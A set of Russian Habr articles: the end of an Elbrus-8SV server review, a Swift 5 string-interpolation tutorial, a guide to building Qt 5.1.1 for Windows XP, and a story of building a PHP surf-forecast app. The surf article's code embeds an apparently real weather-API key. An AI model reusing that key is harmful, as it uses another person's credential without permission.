Из подключенных 32 планок RAM используется только 3. По информации от МЦСТ в режиме бинарной трансляции используется только один КПИ (можно посмотреть на схеме).
Соответственно, вся периферия, завязанная на КПИ\_1, в этом режиме работать не будет.
Результаты бенчмарк-теста
-------------------------
Мы провели бенчмарк-тест Geekbench5 в режиме бинарной трансляции и получили [такие результаты](https://browser.geekbench.com/v5/cpu/15487002):
Видно, что пока «Эльбрус» в режиме бинарной трансляции пытается догнать по показателям AMD Ryzen 5 2400G. Но это десктопный процессор, релиз которого произошел в феврале 2018 года. О конкуренции с современными серверными процессорами речи пока не идет.
Также «Эльбрус» догоняет по бенчмаркам (и даже перегоняет по image compression) Intel Xeon E3-1225, выпущенный в 2014 году. Сравнение с ним на картинке ниже.
Более подробно по [ссылке](https://browser.geekbench.com/v5/cpu/15487002). Кстати, с каким серверным процессором сравнили бы вы «Эльбрус-8СВ»? Пишите в комментариях!
Попадет ли решение на «Эльбрус-8СВ» в дата-центры Selectel?
-----------------------------------------------------------
Как можно понять по тексту, на данный момент препятствий для этого более чем достаточно. Чтобы привести серверы на Эльбрусе к такому же удобству для конечного пользователя, нужно будет вложить очень много сил и времени. Нужно будет поломать голову над автоматизацией процессов, перекомпилировать необходимые программы, подумать, как обойти все существующие ограничения.
Кажется, без катастрофической надобности эти вложения не будут оправданы.
Вот [«Эльбрус 32-С»](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D1%8C%D0%B1%D1%80%D1%83%D1%81-32C) уже более реалистичен для использования в дата-центрах. Скорее всего к тому времени и ПО «допилят». Но смогут ли его произвести по 7-нм процессу? Это вопрос будущего. Компания МЦСТ основана в 1992 году, а Intel — в 1968. Возможно, отечественная компания еще сможет нагнать конкурентов.
В целом, мы провели базовый обзор. Возможно, он не такой подробный и щепетильный, каким мог бы быть. Нашей основной целью была быстрая оценка потенциала сервера на «Эльбрусе» в дата-центрах Selectel. Возможно в будущем мы постараемся протестировать «Эльбрус» другим софтом, написанным под архитектуру e2k.
На данный момент очень хочется появление поддержки NVMe и современных GPU. Будем надеяться, что МЦСТ будет развиваться и дальше и в будущем мы сможем использовать эти решения в повседневных задачах. | https://habr.com/ru/post/675214/ | null | ru | null |
# Продвинутая интерполяция строк в Swift 5.0
Интерполяция строк была в Swift с ранних версий, но в Swift 5.0 этот функционал был расширен, стал быстрее и значительно мощнее.
В этой статье мы пройдёмся по новым возможностям интерполяции строк и рассмотрим, как это можно применить в нашем собственном коде. Вы также можете загрузить исходники к этой статье [здесь.](https://www.github.com/twostraws/super-powered-string-interpolation)
### Основы
Мы используем базовую интерполяцию строк вот так:
```
let age = 38
print("You are \(age)")
```
Мы считаем это само собой разумеющимся, но в своё время это стало значительным облегчением по сравнению с тем, с чем приходилось иметь дело раньше:
```
[NSString stringWithFormat:@"%ld", (long)unreadCount];
```
Здесь также значимый выигрыш в производительности, так как альтернативой было:
```
let all = s1 + s2 + s3 + s4
```
Да, конечный результат был бы тем же, но Swift пришлось бы добавить s1 к s2 чтобы получить s5, добавить s5 к s3 чтобы получить s6, и добавить s6 к s4 чтобы получить s7, перед присвоением all.
Интерполяция строк практически не менялась со Swift 1.0, единственное значимое изменение пришло вместе с Swift 2.1, где мы получили возможность использовать в интерполяции **string literals**:
```
print("Hi, \(user ?? "Anonymous")")
```
Как вы знаете, Swift развивается во многом благодаря предложениям сообщества. Идеи обсуждаются, разрабатываются — и либо принимаются, либо отвергаются.
Итак, спустя пять лет, развитие Swift добралось до интерполяции строк. В Swift 5.0 появились новые супервозможности, которые дают нам возможность контролировать процесс интерполяции строк.
Чтобы попробовать, рассмотрим следующий сценарий. Если мы задаём новую целую переменную вот так:
```
let age = 38
```
то совершенно очевидно, что мы можем использовать интерполяцию строк следующим образом:
```
print("Hi, I'm \(age).")
```
Но что, если мы хотим отформатировать результат как-то по-другому?
Используя новую систему интерполяции строк в in Swift 5.0 мы можем написать экстеншн String.StringInterpolation, чтобы добавить свой собственный метод интерполяции:
```
extension String.StringInterpolation {
mutating func appendInterpolation(_ value: Int) {
let formatter = NumberFormatter()
formatter.numberStyle = .spellOut
if let result = formatter.string(from: value as NSNumber) {
appendLiteral(result)
}
}
}
```
Теперь код выведет целую переменную как текст: “Hi, I’m thirty-eight.”
Мы можем использовать похожую технику чтобы поправить форматирование даты, поскольку вид даты по умолчанию в виде string не слишком привлекателен:
```
print("Today's date is \(Date()).")
```
Вы увидите, что Swift выведет текущую дату в виде что-то вроде: “2019-02-21 23:30:21 +0000”. Мы можем сделать это красивее используя своё собственное форматирование даты:
```
mutating func appendInterpolation(_ value: Date) {
let formatter = DateFormatter()
formatter.dateStyle = .full
let dateString = formatter.string(from: value)
appendLiteral(dateString)
}
```
Теперь результат выглядит гораздо лучше, что-то вроде: “February 21, 2019 23:30:21”.
**Замечание:** чтобы избежать возможной путаницы при совместной работе в команде, вам, вероятно, не стоит перекрывать методы Swift по умолчанию. Поэтому дайте параметрам имена на свой выбор, чтобы избежать путаницы:
```
mutating func appendInterpolation(format value: Int) {
```
Теперь мы вызовем этот метод с именованным параметром:
```
print("Hi, I'm \(format: age).")
```
Теперь будет ясно видно, что мы используем собственную реализацию метода.
### Интерполяция с параметрами
Это изменение показывает, что теперь у нас есть полный контроль над тем, каким образом происходит интерполяция строк.
Например, мы можем переписать код, чтобы обрабатывать сообщения в Twitter:
```
mutating func appendInterpolation(twitter: String) {
appendLiteral("[@\(twitter)](\"https://twitter.com/\(twitter)\")")
}
```
Теперь мы можем написать так:
```
print("You should follow me on Twitter: \(twitter: "twostraws").")
```
Но зачем нам ограничиваться одним параметром? Для нашего примера форматирования числа нет никакого смысла принуждать пользователей использовать один параметр конвертирования (.spellOut) — так что мы изменим метод, добавив второй параметр:
```
mutating func appendInterpolation(format value: Int, using style: NumberFormatter.Style) {
let formatter = NumberFormatter()
formatter.numberStyle = style
if let result = formatter.string(from: value as NSNumber) {
appendLiteral(result)
}
}
```
И используем его так:
```
print("Hi, I'm \(format: age, using: .spellOut).")
```
У вас может быть сколько угодно параметров, любого типа. Пример с использованием **@autoclosure** для значения по умолчанию:
```
extension String.StringInterpolation {
mutating func appendInterpolation(_ values: [String], empty defaultValue: @autoclosure () -> String) {
if values.count == 0 {
appendLiteral(defaultValue())
} else {
appendLiteral(values.joined(separator: ", "))
}
}
}
let names = ["Malcolm", "Jayne", "Kaylee"]
print("Crew: \(names, empty: "No one").")
```
Применение атрибута **@autoclosure** означает, что для значения по умолчанию мы можем использовать простые значения или вызывать сложные функции. В методе они станут замыканием.
Теперь вы, возможно, полагаете, что мы можем переписать код без использования функционала интерполяции, что-то вроде этого:
```
extension Array where Element == String {
func formatted(empty defaultValue: @autoclosure () -> String) -> String {
if count == 0 {
return defaultValue()
} else {
return self.joined(separator: ", ")
}
}
}
print("Crew: \(names.formatted(empty: "No one")).")
```
Но теперь мы усложнили вызов — ведь мы же очевидно пытаемся отформатировать что-то, в этом и есть смысл интерполяции. Помните правило Swift — избегайте ненужных слов.
Erica Sadun предложила по-настоящему короткий и красивый пример того, как можно упростить код:
```
extension String.StringInterpolation {
mutating func appendInterpolation(if condition: @autoclosure () -> Bool, _ literal: StringLiteralType) {
guard condition() else { return }
appendLiteral(literal)
}
}
let doesSwiftRock = true
print("Swift rocks: \(if: doesSwiftRock, "(*)")")
print("Swift rocks \(doesSwiftRock ? "(*)" : "")")
```
### Добавление интерполяции строк для пользовательских типов
Мы можете использовать интерполяцию строк для своих собственных типов:
```
struct Person {
var type: String
var action: String
}
extension String.StringInterpolation {
mutating func appendInterpolation(_ person: Person) {
appendLiteral("I'm a \(person.type) and I'm gonna \(person.action).")
}
}
let hater = Person(type: "hater", action: "hate")
print("Status check: \(hater)")
```
Интерполяция строк полезна тем, что мы не касаемся отладочной информации об объекте. Если мы посмотрим его в дебаггере или выведем его, то мы увидим нетронутые данные:
```
print(hater)
```
Мы можем комбинировать пользовательский тип с несколькими параметрами:
```
extension String.StringInterpolation {
mutating func appendInterpolation(_ person: Person, count: Int) {
let action = String(repeating: "\(person.action) ", count: count)
appendLiteral("\n\(person.type.capitalized)s gonna \(action)")
}
}
let player = Person(type: "player", action: "play")
let heartBreaker = Person(type: "heart-breaker", action: "break")
let faker = Person(type: "faker", action: "fake")
print("Let's sing: \(player, count: 5) \(hater, count: 5) \(heartBreaker, count: 5) \(faker, count: 5)")
```
Конечно же, вы можете использовать все возможности Swift, чтобы создать своё собственное форматирование. Например, мы можем написать реализацию, которая принимает любой объект **Encodable** и выводит его в JSON:
```
mutating func appendInterpolation(debug value: T) {
let encoder = JSONEncoder()
encoder.outputFormatting = .prettyPrinted
if let result = try? encoder.encode(value) {
let str = String(decoding: result, as: UTF8.self)
appendLiteral(str)
}
}
```
Если мы сделаем **Person** соответствующим протоколу **Encodable**, то мы можем сделать так:
```
print("Here's some data: \(debug: faker)")
```
Вы можете использовать возможности вроде переменного числа параметров иди даже пометить вашу реализацию интерполяции как **throwing**. Например, наша система форматирования JSON в случае ошибки кодирования никак не реагирует, но мы может это исправить для анализа произошедшей ошибки в дальнейшем:
```
mutating func appendInterpolation(debug value: T) throws {
let encoder = JSONEncoder()
encoder.outputFormatting = .prettyPrinted
let result = try encoder.encode(value)
let str = String(decoding: result, as: UTF8.self)
appendLiteral(str)
}
print(try "Status check: \(debug: hater)")
```
Всё, что мы до сих пор рассматривали — это просто модификации способов интерполяции строк.
### Создание собственных типов при помощи интерполяции
Как вы видели, речь шла о способе форматирования данных в вашем приложении по-настоящему удобным способом, но мы также можем создавать свои собственные типы используя интерполяцию строк.
Чтобы продемонстрировать это, мы создадим новый тип, который инициализируется из string при помощи интерполяции строк.
```
struct ColoredString: ExpressibleByStringInterpolation {
// это вложенная структура - черновик для хранения атрибутов-строк из нескольких интерполяций
struct StringInterpolation: StringInterpolationProtocol {
// здесь храним атрибут-строку по мере создания
var output = NSMutableAttributedString()
// несколько атрибутов по умолчанию
var baseAttributes: [NSAttributedString.Key: Any] = [.font: UIFont(name: "Georgia-Italic", size: 64) ?? .systemFont(ofSize: 64), .foregroundColor: UIColor.black]
// этот инициалайзер необходим, также может быть использован в оптимизации производительности
init(literalCapacity: Int, interpolationCount: Int) { }
// вызывается, когда нам необходимо добавить текст
mutating func appendLiteral(_ literal: String) {
// выводится на печать, так что можно видеть процесс выполнения
print("Appending \(literal)")
// получаем базовое оформление
let attributedString = NSAttributedString(string: literal, attributes: baseAttributes)
// добавляем к черновой строке
output.append(attributedString)
}
// вызывается, когда нам нужно добавить цветное сообщение к нашей строке
mutating func appendInterpolation(message: String, color: UIColor) {
// снова выводим на печать
print("Appending \(message)")
// берем копию базового атрибута и применяем цвет
var coloredAttributes = baseAttributes
coloredAttributes[.foregroundColor] = color
// заворачиваем в новый атрибут-строку и добавляем в черновик
let attributedString = NSAttributedString(string: message, attributes: coloredAttributes)
output.append(attributedString)
}
}
// окончательная строка с атрибутами, когда все интерполции выполнены
let value: NSAttributedString
// создаем экземпляр из строки литералов
init(stringLiteral value: String) {
self.value = NSAttributedString(string: value)
}
// создаем экземпляр из интреполяции
init(stringInterpolation: StringInterpolation) {
self.value = stringInterpolation.output
}
}
let str: ColoredString = "\(message: "Red", color: .red), \(message: "White", color: .white), \(message: "Blue", color: .blue)"
```
На самом деле, под капотом тут один синтаксический сахар. Заключительную часть мы вполне могли бы написать вручную:
```
var interpolation = ColoredString.StringInterpolation(literalCapacity: 10, interpolationCount: 1)
interpolation.appendLiteral("Hello")
interpolation.appendInterpolation(message: "Hello", color: .red)
interpolation.appendLiteral("Hello")
let valentine = ColoredString(stringInterpolation: interpolation)
```
### Заключение
Как вы видели, пользовательская интерполяция строк позволяет нам разместить форматирование в одном месте, так что вызовы методов становятся проще и яснее. Также это предоставляет нам отличную гибкость для создания требуемых типов максимально естественным образом.
Помните, что это только одна из возможностей — и не единственная. Это означает, что иногда мы используем интерполяцию, иногда функции или что-то ещё. Как и многое в разработке, всегда нужно выбирать оптимальный способ решения задачи. | https://habr.com/ru/post/447586/ | null | ru | null |
# Как собрать Qt 5.1.1 при помощи Visual Studio 2012 под XP
##### Введение
В этой статье нет ничего сверхъестественного. Я хотел просто собрать вместе все нюансы и проблемы, с которыми я столкнулся, связанные с построением Qt в одной статье — вдруг кому-нибудь пригодится.
Задача заключалась прежде всего в том что бы избавиться от проблем со звуком под XP, путем использования dsengine как альтернативу самописного плагина воспроизведения звука (на основе ffmpeg), а для Windows Vista+ можно вполне использовать wmfengine. Поэтому выбор пал на версию 5.1.1.
Так же я преследовал цель получить более расширенную версию языка C++11, поэтому я собирал под Visual C++ 11.0 ( x86 ). Проблем с x64 версией библиотек нет ее можно скачать с официального сайта.
Так же в названии статьи присутствует “XP” — потому что именно в на этой операционной системе и возникали проблемы.
##### Итак, приступим…
1. Вначале все просто — ищем на официальном сайте на странице загрузок ( [qt-project.org/downloads](http://qt-project.org/downloads) ) подходящий нам вариант или сразу скачиваем исходники ( [download.qt-project.org/official\_releases/qt/5.1/5.1.1/single](http://download.qt-project.org/official_releases/qt/5.1/5.1.1/single/) ).
2. Дальше распаковываем (главное в пути лучше не иметь ни пробелов).
3. Дальше ищем все зависимости, читаем ( [qt-project.org/wiki/Building\_Qt\_5\_from\_Git](http://qt-project.org/wiki/Building_Qt_5_from_Git) )
Понимаем что нам нужно:
* icu
* pthreads
* Ruby
* утилиты из папки в корне архива gnuwin32
* Microsoft DirectX SDK (для компиляции qt 5 требуется DirectX SDK — он не ставиться если есть Microsoft Visual C++ 2010 x86/x64 redistributable — 10.0.(number over 30319))
В итоге получаем следующий bat-файл **vars32.bat**:
```
REM For fast compiling
set CL=/MP
REM include
set INCLUDE=e:\share\_open_source_\icu-51.2-vs2012\include\;e:\share\_open_source_\pthreads\include\;%INCLUDE%
REM lib
set LIB=e:\share\_open_source_\icu-51.2-vs2012\lib\;e:\share\_open_source_\pthreads\lib\x86\;%LIB%
REM tools
set PATH=e:\share\_open_source_\icu-51.2-vs2012\bin\;C:\Ruby200-x64\bin;%CD%\gnuwin32\bin\;C:\Python27;C:\Perl64\bin;C:\Program Files (x86)\Microsoft DirectX SDK (June 2010)\Utilities\bin\x86;%CD%\qtbase\bin\;e:\share\_open_source_\pthreads\dll\x86\;%PATH%
```
4. Для удачной сборки под XP
* читаем статью на msdn о том как компилировать ( [blogs.msdn.com/b/vcblog/archive/2012/10/08/10357555.aspx](http://blogs.msdn.com/b/vcblog/archive/2012/10/08/10357555.aspx)
* проверяем что у нас Visual Studio имеет хотя бы один update
* обращаем внимание на опечатку в путях (v7.1A)
* не забываем про запуск скрипта для утилиты nmake с параметром
* дописываем **vars32. bat**:
```
…
REM for nmake
CALL "C:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\vcvarsall.bat" x86
REM for XP
set INCLUDE=%ProgramFiles(x86)%\Microsoft SDKs\Windows\v7.1A\Include;%INCLUDE%
set PATH=%ProgramFiles(x86)%\Microsoft SDKs\Windows\v7.1A\Bin;%PATH%
set LIB=%ProgramFiles(x86)%\Microsoft SDKs\Windows\v7.1A\Lib;%LIB%
set CL=/D_USING_V110_SDK71_;%CL%
```
* Так как этого может быть недостаточно изменяем файлы конфигурации Qt:
а) Файл **qtbase\src\corelib\io\qfilesystemengine\_win.cpp**, строка **574**, меняем на
```
# if defined(Q_CC_MINGW) || (defined(Q_CC_MSVC) && _MSC_VER < 1700) || (defined(Q_CC_MSVC) && _MSC_VER >= 1700 && defined(_USING_V110_SDK71_))
```
Иначе из-за объявленной дерективы **\_USING\_V110\_SDK71\_** союрать не удастся
б) Файл **qtbase\qmake\Makefile.win32**
в переменный **CFLAGS\_BARE** добавляем по **-DUNICODE -D\_USING\_V110\_SDK71\_**
в) Файл **qtbase\mkspecs\win32-msvc2012\qmake.conf**, в переменную QMAKE\_CFLAGS:
```
QMAKE_CFLAGS = -nologo -Zm200 -Zc:wchar_t -D_USING_V110_SDK71_
```
, а так же **QMAKE\_LFLAGS\_CONSOLE** и **QMAKE\_LFLAGS\_WINDOWS**:
```
QMAKE_LFLAGS_CONSOLE = /SUBSYSTEM:CONSOLE,5.01
QMAKE_LFLAGS_WINDOWS = /SUBSYSTEM:WINDOWS,5.01
```
5. Далее нам понадобится сконфигурировать Qt. Для этого мы создаем **conf32.bat** и дописываем в него следующую строку
```
configure -no-angle -mp -debug-and-release -no-audio-backend -opengl desktop -platform win32-msvc2012 -skip qtwebkit -skip qtwebkit-examples -skip qttranslations -icu -prefix "c:\dev\building_qt\bin\x86" -opensource -confirm-license -nomake tests -nomake examples
```
-no-angle — так как в моем проекте используется OpenGL “напрямую”, у меня возникли проблемы с ANGLE (http://qt-project.org/wiki/Qt-5-on-Windows-ANGLE-and-OpenGL). Если вкратце как я понял это дополнительная абстракция над API OpenGL, поэтому у меня и возникли проблемы с одноименными сущностями.
* -mp — то же что CL=/MP — для более быстрой компиляции
* -no-audio-backend — без встреонного wmf медиа-сервиса
* -opengl desktop — собрать с поддержкой opengl для настольных приложений
* -skip qtwebkit и -skip qtwebkit-examples — не портите себе настроение соберите их потом, это недочет разработчиков
* -skip qttranslations — я исключил потому что если взять версию icu версии 50 то lrelease.exe выкинет ошибку. Этот модуль на мой взгляд не так важен поэтому тоже соберем, но потом.
* -prefix «c:\dev\building\_qt\bin\x86» — путь к собранным библиотекам
* -nomake tests -nomake examples — исключаем и экономим время (даже на моем рабочем компьютере сборка без webkit’а занимает 30 минут)
6. Так же советую воспользоваться jom (http://qt-project.org/wiki/jom). Маленькая утилита которая распределяет работу nmake на потоки, количество которых равняется количеству ядер. Например у меня i7 c якобы 8 ядрами — соответственно потоков будет 8
7. Можно прописать ее в путях и воспользоваться удобным редактором переменных окружения **repidee** ( [www.rapidee.com/ru/about](http://www.rapidee.com/ru/about) ). Не забываем перезапускать командную строку, что бы изменения вступили в силу
8. И так сборка. Запускаем cmd.exe в корне папке распакованного архива и набираем:
```
vars32.bat && conf32.bat
```
Убеждаемся что у нас Qt настроен как нам нужно
9. Продолжаем. Вбиваем:
если без webkit’a
```
jom && jom install
```
если все разом (и пойти спать)
```
jom && jom install && cd qttranslations && qmake && jom install && cd ..\qtwebkit && qmake && jom && jom install
```
* Запускаем qmake (из qtbase/bin) чтобы сконфигурировать какой-нибйдь модуль и получить makefile для nmake. Так можно к примеру скачать дополнительный модуль сконфигурировать и собрать.
* Для qttranslations не забываем про icu версии 51. Так же могу заметить, что приложения на Qt могут падать именно поэтому. Что бы проверить корректность работы icu можно например попробовать вызвать *QTextCodec::codecForName(“CP1251”)*, если кодек удалось получить то все хорошо.
* Мне пришлось допиливать qtwebkit/bridge api — не работает передача параметров QtRuntimeObject из JS в C++, и видимо уже давно.
* Если приложение не запускается под XP, то нужно посмотреть зависимости через depends (http://www.dependencywalker.com/). Скорее всего забыли про **msvcp110.dll** и **msvcr110.dll**.
Спасибо за внимание! Надеюсь кому нибудь пригодится. Мое приложение замечательно работает. | https://habr.com/ru/post/200474/ | null | ru | null |
# Как я научился кодить, создал веб-приложение и запустил его на Product Hunt за 2 месяца
Два месяца назад я начал путь к созданию своего первого веб-приложения. Это очень простенькое веб-приложение, оно называется When To Surf и каждый день подсказывает серферам самое лучшее время для занятий серфингом. Сегодня я его запускаю.
UPD: после запуска я написал [статью о результатах](https://medium.com/@AndreyAzimov/when-to-surf-became-1-app-in-sports-weather-surfing-on-product-hunt-3000-people-tried-it-316f1b7a225b#.8bgzcf9pc)
#### Меня зовут Андрей
Я из Украины, работаю удаленно в [Railsware](https://medium.com/railsware). Как и многие люди в IT-компаниях, я мечтал создать свой собственный продукт. Свое собственное приложение, которым люди пользовались бы ежедневно. Мне очень хотелось когда-нибудь претворить эту мечту в реальность.
#### Проблема
В данный момент я работаю удаленно, из Бали. И так уж совпало, что Бали — одно из лучших мест для серфинга. Переехав сюда, я стал брать уроки, но, когда начал заниматься сферфингом, столкнулся со сложностью: было очень трудно разобраться в приложениях для серферов типа [Magic Seaweed](http://magicseaweed.com/), которые выдают сведения о погоде и прогнозы. Там целая куча разных данных — течение, свеллы, скорость и направление ветра и тому подобное.
Здорово, конечно, когда много информации, но какой в ней смысл, если люди не могут ничего понять? В интернете были целые руководства на 10 страниц о том, как расшифровать все эти данные.
С моей точки зрения, это просто ночной кошмар UX-дизайнера.
А что, если бы я мог собирать необработанные данные о погоде, а затем при помощи особого кода анализировать и оценивать их с точки зрения «серфибилити» (интересно, есть ли вообще такое слово?)
Я хотел это сделать, но не мог. Потому что никогда серьезно не занимался программированием. Даже не имел представления, с чего начинать. Вместе с тем, у меня не было средств нанять большую команду, которая создала бы приложение за меня. Поэтому я отказался от этой мысли. На какое-то время.
#### Петер Левелс
Через несколько месяцев в [Dojo](http://www.dojobali.org/) (коллективный офис на Бали), я познакомился с [Петером Левелсом](https://levels.io/). Когда-то он [поставил себе цель](https://levels.io/12-startups-12-months/) запустить 12 стартапов за 12 месяцев — и в рамках этого проекта был создан [Nomad List](http://nomadlist.com/). Он вдохновил меня сделать собственное приложение. Я настоятельно рекомендую посмотреть [его видео](https://www.youtube.com/watch?v=m3nb_Qj3mRA). Вот его принципы:
* Решайте проблемы, которые волнуют лично вас
* Перестаньте ходить на сходки стартаперов, избегайте стартап-тренеров
* Учитесь писать код двумя методами: практика и поиск в Google
* Забудьте о курсах, тренингах и книгах
* Делайте простейшие вещи, которые можно осилить с вашим текущим уровнем знаний (т.е. не тратье время на супер-классные новые инструменты, типа React, которые придется осваивать год)
* Делайте все самостоятельно
Руководствуясь этими принципами, я хотел попробовать научиться писать код и создавать приложения. Первоклассным кодером я, конечно, стать не рассчитывал, но надеялся, что сумею реализовать свою идею приложения для серфинга.
#### Старт
3 декабря 2016 г. я купил домен [whentosurf.co](http://whentosurf.co/) за 6 долларов на Namecheap. Уже одно это меня взбудоражило.
Я нашел бесплатный хостинг [atspace.com](http://www.atspace.com/) и загрузил первую в своей жизни HTML страничку «Hello World».
Затем я задумался о том, где достать данные для приложения. Я погуглил погодные API и нашел [World Weather API](https://www.worldweatheronline.com/). Они предоставляют информацию бесплатно первые два месяца, и у них есть все данные, которые были мне нужны: направление ветра, периоды свелла и время прилива.
У меня не было никакого опыта в написании кода. Поэтому я начал перебирать языки, которые мне встречались раньше.
Моя первая цель была проста: брать данные с API и выводить их в HTML. Желательно, чтобы весь процесс был как можно проще и требовал минимума подготовки. Я хотел иметь возможность изменить одну строку кода и тут же протестировать, все ли работает. Все должно было быть элементарно, без установки серверов, фреймворков, компилирования, деплоя — без вот этого всего. Мне нужно было работать быстро, а не вдумчиво писать по одной строчке кода в день, как некоторые большие команды, которые делают все «как надо».
#### Реализация
Сначала я попробовал JavaScript. Для такого новичка, как я, большой плюс, что нужен только браузер. Но чистый JavaScript был оказался для меня сложным. Особенно сбивали с толку асинхронные функции обратного вызова.
```
// Javascript
var getJSON = function(url, callback) {
var xhr = new XMLHttpRequest();
```
К черту. Слишком трудно!
**Python**
Я подумывал насчет Python. Синтаксис у него очень читаемый, но мне бы пришлось установить фреймворк Django, создать для него особый веб-сервер и так далее.
И все это чтобы просто запустить скрипт! Так что Python отпал.
**PHP**
Я попробовал PHP и сразу понял: вот оно. Я знал, что о нем говорят: «PHP — это не круто, тебе нужен Ruby, Node, React, Bla.JS». Но мне было все равно. Потому что этот язык оказался самым быстрым вариантом для тех, кто начинает с нуля. Серьезно, PHP уже был запущен на моем компьютере (macOS) и установлен на веб-сервер. Никаких дополнительных усилий!
Потребовалось всего несколько минут работы, чтобы сделать первый в жизни API вызов и извлечь данные. Дамы и господа, представляю вам мой первый код!
```
$url=’http://api.worldweatheronline.com/premium/v1/marine.ashx?key=2a5fc1776e234e14a7e172153160312&q=-8.659263,115.130158&format=json&tide=yes&tp=1&date=;
$json = file_get_contents($url);
$data = json_decode($json);
$swell_period = $data->data->weather[0]->hourly[0]->swellPeriod_secs;
```
За одну ночь я создал свое первое веб-приложение (на самом деле, сайт):
После нескольких дней работы я вдохновился примерами из Интернета и сделал такой макет:
Я был очень горд собой.
#### Только не git
Где-то в это же время все наперебой стали советовать мне использовать GitHub и прекратить загрузку через FTP.
Мне не нравится каждый раз делать так с git:
```
git add, git commit -m “Bla Bla Commment ”, git push origin master
```
Вместо этого я просто создал папку, а для бэкапов каждый раз делаю новую, прописывая в названии вчерашнюю дату. Так я избегаю git. Но собственная незамысловатая система управления версиями у меня все-таки была.
#### Создание собственного веб-сервера
Мой бесплатный хостинг никуда не годился. После нескольких недель он перестал нормально работать, и мне предложили завести собственный VPS.
Я испугался: мне вовсе не хотелось заниматься настройкой сервера. Но особого выбора у меня не было, ведь бесплатный хостинг не работал. Поэтому я заплатил [DigitalOcean](https://medium.com/@digitalocean) 5 $, проследовал инструкциям, прописанным в их пошаговых рукодствах, и все настроил. [Оскар](https://medium.com/@oskarth), парень из Швеции, которого я встретил в коллективном офисе на Бали, помогал мне с VPS сервером, когда я заходил в тупик.
#### Переход на HTTPS
Препятствия не кончались. Мне нужно было получать данные о местоположении пользователя через GPS из браузеров. Для этого я ввел код JavaScript. Но Chrome в последнее время позволяет определять местоположение только на сайтах с сертификатом HTPPS. Так что сначала мне нужно было разобраться, как настраивать [Lets Encrypt](http://letsencrypt.org/). Это было безумно сложно, но опять-таки, я просто следовал инструкциям — и все получилось. Теперь мой сайт был переведен на HTTPS.
#### На полпути
После месяца работы мой код разросся до огромных размеров. Но я как-то ухитрялся понимать, что за что отвечает, благодаря своим сумасшедшим встроенным комментариям:
#### Сбор отзывов
[Эрик Райз](https://twitter.com/ericries) из [Lean Startup](http://theleanstartup.com/) посоветовал мне наладить обратную связь с пользователями как можно скорее.
Еще один мой знакомый по коллективному офису, [Марк](https://twitter.com/marckohlbrugge), предложил такой способ опрашивать людей: прикрепить планшет, на котором запущено мое приложение, и ящик для отзывов на стену. Это имело смысл, потому что здесь 40% людей — серферы (Dojo находится в двух шагах от пляжа). Мой ящик выглядел так:
За день я собрал всего несколько комментариев. Идея не выстрелила. Я попросил у пользователей фидбэка, и они отреагировали без особого энтузиазма. У них не было интереса к моему приложению.
#### Темное болото отчаяния
В это время радостное волнение от осознания, что я делаю свое первое приложение, начало пропадать. Это уже не было так захватывающе, скорее мучительно. Теперь я неделями работал днем на своей основной работе, а по ночам сидел допоздна, чтобы довести приложение до ума.
Я показал приложение своему инструктору по серфингу, и он сразу сказал, что идея провальная, потому что «чтобы опеределить, в какое время лучше всего кататься на волнах, нужно учитывать слишком много факторов».
Я понимал, что он, возможно, прав – ведь мне и правда не удавалось до сих пор предсказать время. Мне не хватало данных и навыков написания кода, чтобы обобщить всю информацию, оценить ее и выбрать время для серфинга.
Вдобавок мое приложение работало ТОЛЬКО на Бали. У меня не было возможности предоставлять достоверную информацию для серферов из других локаций. А хотелось, чтобы серферы из любой точки земного шара могли открыть [http://whentosurf.co](http://whentosurf.co/) и немедленно получить всю необходимую информацию на текущий день.
Я хотел сдаться – какой смысл делать то, чем никто не будет пользоваться? И как мне получить столько данных, чтобы приложение могло быть полезным людям по всему миру?
В довершение всего я подхватил глазную инфекцию. Я сидел с красными глазами и не мог даже смотреть в ноутбук.
Но я закапал в глаза капли и продолжил кодить.
#### Второй раунд
Я поговорил с друзьями и они посоветовали продолжать работу. Петер сказал, что это нормально и «на этом этапе многие бросают все, поддаются страху и не доводят продукт до релиза».
Следующие несколько недель я работал в жестком режиме. Мы ввели систему денежных штрафов, чтобы заставить себя закончить задачи, в моем случае – приложение для серфинга.
Пускай мое приложение никому не будет нужно, я все равно хотел закончить его. Мне хотелось довести проект до запуска.
Наши «ночные смены» начинались с 8 вечера и продолжались до 6 утра. Мы слушали техно и пили чай.
#### Формула расчета лучшего времени для серфинга
Я хотел узнать, как вычислить лучшее время для серфинга, но не мог сделать это при помощи кода. Значит, мне нужно было начать как-то по-другому. Я составил таблицу и начал экспериментировать с формулами:
Затем путем проб и ошибок я перевел эти формулы в код:
#### И сработало! Ну, почти
После этой попытки приложение стало выдавать рейтинги для любой локации в мире. Включая места, где вообще нет пляжей для серфинга – например, не знаю, Казахстан. Но не беда, это ведь была первая версия. По крайней мере, теперь все хоть как-то работало:
#### План запуска
Первая, базовая версия приложения готова. На этом данный пост почти закончен, так как сегодня я запускаю приложение. Позже я обновлю пост, чтобы рассказать вам, как все прошло.
Мой план:
* Самостоятельно отправить приложение на [Product Hunt](http://producthunt.com/) (не хочу быть обязанным своим успехом influencers, хочу, чтобы мой продукт пробился за счет собственных достоинств) — UPD: [ТОЛЬКО ЧТО ЗАПУСТИЛ ПРИЛОЖЕНИЕ на Product Hunt](https://www.producthunt.com/posts/when-to-surf).
* Найти на Facebook и в Сети сообщества по серфингу, поделиться с участниками приложением, спросить, что они об этом думают, и продолжать его дорабатывать.
* Собирать email-адреса с помощью поля MailChimp в нижней части экрана, чтобы рассылать пользователям обновления, касающиеся серфинга в их регионе (позже, я еще не написал код) и тем самым подталкивать их вернуться на сайт.
* Если это сработает, конкурировать с крупными игроками вроде [Magic Seaweed](http://magicseaweed.com/), предлагая пользователям более простую и подходящую для начинающих серферов схему взаимодействия с приложением.
#### Временные и денежные расходы
**Время**
Я подсчитал все потраченное мною время при помощи приложения [Toggl](https://medium.com/@toggl). Вышло около 118 часов
**Деньги**
Доменное имя = 6$ / год
VPS = 5$ / месяц
Итого: 11$
Если бы я попросил какую-нибудь компанию реализовать мое приложение для серферов, уверен, это бы мне стоило на $29,989 больше :)
**Использованные инструменты**
Я использовал:
* [Sublime Text Editor](https://www.sublimetext.com/) для написания кода
* [Namecheap](http://namechep.com/) для регистрации домена
* [Digital Ocean](http://digitalocean.com/) для VPS
* [LetsEncrypt](https://letsencrypt.org/) для SSL
* [Google Analytics](https://analytics.google.com/) для измерения траффика
* [Toggl](http://toggl.com/), чтобы отслеживать время
* Тонны стикеров для записи задач
#### Мой код – открытый ресурс
